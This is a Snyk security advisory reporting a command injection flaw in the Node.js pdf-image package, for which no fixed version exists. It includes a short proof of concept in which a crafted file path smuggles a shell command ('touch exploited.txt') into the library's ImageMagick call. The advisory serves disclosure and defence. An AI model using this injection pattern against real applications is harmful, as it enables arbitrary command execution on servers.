Command Injection Affecting pdf-image package, versions *
Snyk CVSS
Attack Complexity
High
Confidentiality
High
Integrity
High
Availability
High
Threat Intelligence
Exploit Maturity
Proof of concept
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Test your applications- Snyk ID SNYK-JS-PDFIMAGE-6424686
- published 12 Mar 2024
- disclosed 20 Feb 2024
- credit Miguel Coimbra
How to fix?
There is no fixed version for pdf-image.
Overview
pdf-image is a library that provides an interface to convert PDF's pages to png files in Node.js by using ImageMagick.
Affected versions of this package are vulnerable to Command Injection through the PDFImage function, due to improper user input validation.
PoC
const pkg = require('pdf-image');
console.log(pkg);
const pdfFilePath = '" | touch exploited.txt "';
const options = {
};
const i = new pkg.PDFImage(pdfFilePath, options);
// This will create a local 'exploited.txt' file.
i.getInfo();